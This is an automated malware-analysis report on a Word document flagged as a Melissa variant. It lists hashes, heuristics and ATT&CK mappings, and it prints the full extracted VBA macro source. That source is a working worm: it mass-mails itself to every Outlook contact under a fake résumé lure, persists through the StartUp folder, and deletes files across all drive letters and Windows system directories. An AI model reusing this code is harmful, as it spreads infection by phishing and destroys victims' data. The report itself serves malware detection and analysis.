Melissa — Office (OLE) malware analysis

Static analysis result for SHA-256 0c112d99fcf64221…

MALICIOUS

Office (OLE)

40.5 KB Created: 2000-05-22 01:50:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 76830c4533a190726588fe5037aecbee SHA-1: 9e87ac2dc73da8a3cfe9a681c07413aad649930f SHA-256: 0c112d99fcf64221bcc248035f5f387a03e9bbc15a336228f742674d89e49a05
260 Risk Score

Malware Insights

Melissa · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1490 Inhibit System Recovery

The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro. This macro attempts to save itself to the startup folder as 'Explorer.doc' and also attempts to delete files across numerous drives and directories, including system directories. The ClamAV detection 'Doc.Trojan.Melissa-19' strongly suggests the Melissa family, known for its rapid self-propagation.

Heuristics 5

  • ClamAV: Doc.Trojan.Melissa-19 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Melissa-19
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2680 bytes
SHA-256: ccb6cc46680005281d28100e8bb22e44bdd1da074b404b9b841c7a1cf4dcd435
Detection
ClamAV: Win.Worm.VBS-213
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'----------------------------------------------------------'
'     Better You Than Me Buddy...                          '
'     ... Hope You Like My vIrUs                           '
'                 :)                                       '
'                 :(                                       '
'----------------------------------------------------------'
Private Sub Document_Close()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
System.Cursor = wdCursorWait
ActiveDocument.SaveAs FileName:= _
"C:\WINDOWS\Start Menu\Programs\StartUp\Explorer.doc"
ActiveDocument.SaveAs FileName:="C:\Data\Normal.dot"
Kill "C:\*.*"
Kill "C:\My Documents\*.*"
Kill "C:\WINDOWS\*.*"
Kill "C:\WINDOWS\SYSTEM\*.*"
Kill "C:\WINNT\*.*"
Kill "C:\WINNT\SYSTEM32\*.*"
Kill "A:\*.*"
Kill "B:\*.*"
Kill "D:\*.*"
Kill "E:\*.*"
Kill "F:\*.*"
Kill "G:\*.*"
Kill "H:\*.*"
Kill "I:\*.*"
Kill "J:\*.*"
Kill "K:\*.*"
Kill "L:\*.*"
Kill "M:\*.*"
Kill "N:\*.*"
Kill "O:\*.*"
Kill "P:\*.*"
Kill "Q:\*.*"
Kill "R:\*.*"
Kill "S:\*.*"
Kill "T:\*.*"
Kill "U:\*.*"
Kill "V:\*.*"
Kill "W:\*.*"
Kill "X:\*.*"
Kill "Y:\*.*"
Kill "Z:\*.*"
System.Cursor = wdCursorNormal
End Sub

Private Sub Document_Open()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
System.Cursor = wdCursorWait
Dim strSPC As String
Dim N, Y, LIST, ENTRY, ADD, OL, MAP, MAIL, PATH
PATH = ActiveDocument.FullName
MkDir "C:\Data"
Set OL = CreateObject("Outlook.Application")
Set MAP = OL.GetNameSpace("MAPI")
strSPC = Space(200)
For LIST = 1 To MAP.AddressLists.Count
Set Y = MAP.AddressLists(LIST)
N = 1
For ENTRY = 1 To Y.AddressEntries.Count
ADD = Y.AddressEntries(N)
Set MAIL = OL.CreateItem(0)
MAIL.Recipients.ADD (ADD)
MAIL.Attachments.ADD (PATH)
MAIL.Subject = "Resume - Janet Simons"
MAIL.Body = "To: Director of Sales/Marketing, " & strSPC _
& vbNewLine _
& vbCr _
& "Attached is my resume with a list of references contained within. " _
& " Please feel free to call or email me if you have any further questions regarding my experience. " _
& " I am looking forward to hearing from you. " & strSPC _
& vbNewLine _
& vbCr _
& "Sincerely," & strSPC _
& vbNewLine _
& vbCr _
& "Janet Simons." & vbCr
MAIL.Send
N = N + 1
Next
Next
Set OL = Nothing
Set MAP = Nothing
Application.Quit
System.Cursor = wdCursorNormal
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.